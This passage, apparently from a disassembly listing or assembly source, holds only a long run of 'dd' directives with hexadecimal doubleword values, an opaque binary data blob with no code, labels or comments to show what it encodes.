		dd 814A3B08h, 603D840h,	428D0050h, 4D98EA0Ah, 2900E8F0h
		dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch,	0B3AE8C0Dh
		dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h,	22B5780Fh
		dd 2FA4035h, 0F3F4CB8h,	2FBF0142h, 53A22A00h, 33001034h
		dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh,	0F586E34h
		dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h
		dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch,	95845D85h
		dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh
		dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h
		dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh
		dd 4F77042h, 4F5C2A6Ah,	300D1FD0h, 0B01C8700h, 1F625FD6h
		dd 0E651C8h, 702EC949h,	0A10378BAh, 0A3015785h,	954ED020h
		dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h
		dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh,	0C62D4B9Bh
		dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh
		dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h
		dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh
		dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah
		dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah
		dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h
		dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h
		dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h
		dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h
		dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh
		dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h,	0E80FEC00h
		dd 945E6A0Dh, 41FD301h,	1CBE6096h, 31FCBD40h, 4C5001C0h
		dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh
		dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h,	86EA015Eh
		dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h
		dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h
		dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch
		dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h,	4FC8D53h
		dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh
		dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch,	0E9098082h
		dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h
		dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah
		dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h,	43F8484Dh
		dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h,	7C080C2Ch
		dd 3B4C980h, 2B1F4BD6h,	0B0000A60h, 0C8022E18h,	3F800F06h
		dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h
		dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h,	0C780D231h
		dd 0F7E2C8h, 4101028Ah,	0F686140Bh, 7570E000h, 0DE3C58F2h
		dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h
		dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h,	612BC889h
		dd 817A4400h, 586A07E2h
		dd 0F0C43FE4h, 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h
		dd 1C9EBA3h, 39F00A7Bh,	0ECC156CCh, 0BC00FA04h,	869460A0h
		dd 0EDEF69Dh, 3FAC8313h, 0D089AD00h, 807DCDEBh,	0A8201E00h
		dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h
		dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h,	0E072500h
		dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h,	0E03906ADh
		dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h
		dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h
		dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h
		dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h,	0DFBBF3h
		dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h
		dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah,	91FCE340h
		dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h
		dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h,	0EC0DC402h
		dd 318E800h, 3C836F11h,	0B91200A1h, 0B1437194h,	76003689h
		dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh
		dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h
		dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch,	5FB7DA36h
		dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh,	34801E1Ch
		dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h
		dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h
		dd 171EB4Ch, 8C66C700h,	8304A8D8h, 0EAE90010h, 0C3FA3265h
		dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h
		dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh
		dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h
		dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah,	0B5408300h
		dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h
		dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh
		dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh
		dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh
		dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h
		dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh
		dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h
		dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h
		dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh,	8624FF00h
		dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh
		dd 0F207E688h, 97D36Bh,	51759BB4h, 1457C922h, 0A2199513h
		dd 0FBEE12h, 4CBBD4DEh,	600F713h, 560B245Bh, 1CCB3A73h
		dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch
		dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h
		dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h,	9536D0D6h
		dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h
		dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh,	8D402E59h
		dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h,	0F6D2AC75h
		dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h
		dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h,	0EF8F17Ch
		dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h
		dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h
		dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h,	2E855274h
		dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h
		dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh,	0F4285E4h
		dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h
		dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h,	50101560h
		dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah
		dd 121F71D1h, 2B50296h,	89F4F287h, 0CAC00D14h, 680084E9h
		dd 0A177EA90h, 490894h,	143EA259h, 0A30C6674h, 314F300Eh
		dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h
		dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h
		dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h
		dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah
		dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h
		dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah
		dd 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h
		dd 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h
		dd 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh
		dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh
		dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h
		dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h
		dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h
		dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h
		dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h,	0AC907784h
		dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh,	0B6AB362Ah
		dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch
		dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h
		dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh
		dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h,	5B0033A7h
		dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h
		dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch,	93DBE848h
		dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh
		dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h,	29891600h
		dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h
		dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h
		dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h
		dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h
		dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh
		dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h
		dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h
		dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h
		dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h,	21D62D00h
		dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h
		dd 3C20614h, 0A6F0997h,	0CAA11A9Ch, 983DF005h, 165C6B7Bh
		dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h
		dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h
		dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h,	0E20085F5h
		dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h
		dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h
		dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh,	0E4471019h
		dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h,	2851001Ch
		dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h
		dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h
		dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h
		dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h
		dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh
		dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h
		dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch
		dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h
		dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h
		dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch,	53040748h
		dd 62F5AB7Dh, 9E02368h,	0DF0093F7h, 0D89DBFEDh,	0EAD544FEh
		dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h
		dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h
		dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h,	0C4C500F7h
		dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h,	40AD5708h
		dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch
		dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh
		dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h
		dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h,	72011Fh
		dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh
		dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h
		dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h
		dd 7E1960Bh, 2F571327h,	51B8E010h, 9E3E18C0h, 21C026Dh
		dd 0E06FE80Bh, 4E1660h,	0BA673021h, 0E52E70A4h,	8CBBE000h
		dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h,	2052E51Eh
		dd 2B27C880h, 0EFD00Ah,	0BE848D4Fh, 0C7751D83h,	0A5F2D700h
		dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh
		dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h,	94900853h
		dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh,	95009436h
		dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h,	563C75FDh
		dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h,	0AFAA50BCh
		dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh
		dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h,	0FF892EE4h
		dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h
		dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h
		dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh
		dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h
		dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch
		dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh
		dd 1C781532h, 328890Ah,	18452059h, 1DE8F0FBh, 4A7AC7EAh
		dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh,	0F82B007Eh
		dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch,	1700EAB9h
		dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h
		dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh
		dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h
		dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh,	0FC4400A4h
		dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h
		dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h,	0C2C38449h
		dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h
		dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh,	0CAC13994h
		dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh
		dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h,	4F1E086Dh
		dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h,	0FCC8BAB2h
		dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h,	1D880201h
		dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah
		dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh
		dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h,	98ECCEF6h
		dd 586179F5h, 2008DBDh,	898F0C6Dh, 0FC002938h, 4F63CE5Eh
		dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh,	0CCEAD723h
		dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h
		dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h
		dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h,	0D4C40BC8h
		dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h
		dd 0C8D8D707h, 6457EAh,	1328F7E4h, 8FCA2443h, 763D2673h
		dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah
		dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h
		dd 1DC2F94Ch, 0B05F07EBh
		dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h
		dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh,	0CD3788B0h
		dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h
		dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
		dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h,	32A7E16h
		dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
		dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
		dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
		dd 0C50AEEh, 521502E1h,	0A012DA55h, 8301A6A5h, 9CFF305Ch
		dd 3C1B7BCCh, 7FC1486h,	1CF83101h, 0C21AF052h, 0EA01C1D0h
		dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
		dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h,	0E43C5EC7h
		dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
		dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh,	9E7E8C3Bh
		dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
		dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
		dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
		dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
		dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
		dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
		dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
		dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
		dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h,	510203C4h
		dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh,	0F8E76783h
		dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h,	1982BCEh
		dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
		dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h,	8C5F3FB8h
		dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
		dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
		dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
		dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
		dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
		dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
		dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h,	27230054h
		dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
		dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
		dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh,	0C89C074Dh
		dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h,	32205F74h
		dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
		dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
		dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
		dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
		dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
		dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
		dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
		dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
		dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
		dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
		dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h,	40CF8B7Bh
		dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
		dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah,	0F0F87CE0h
		dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
		dd 167F425h, 2F2DC55Fh,	0F59E8351h, 6688F405h, 53153707h
		dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h,	365D3857h
		dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah,	21565762h
		dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
		dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
		dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
		dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h,	2CA92300h
		dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h,	0E0185E00h
		dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
		dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h,	0BF06CAB6h
		dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
		dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
		dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
		dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh,	6A00F277h
		dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
		dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
		dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
		dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
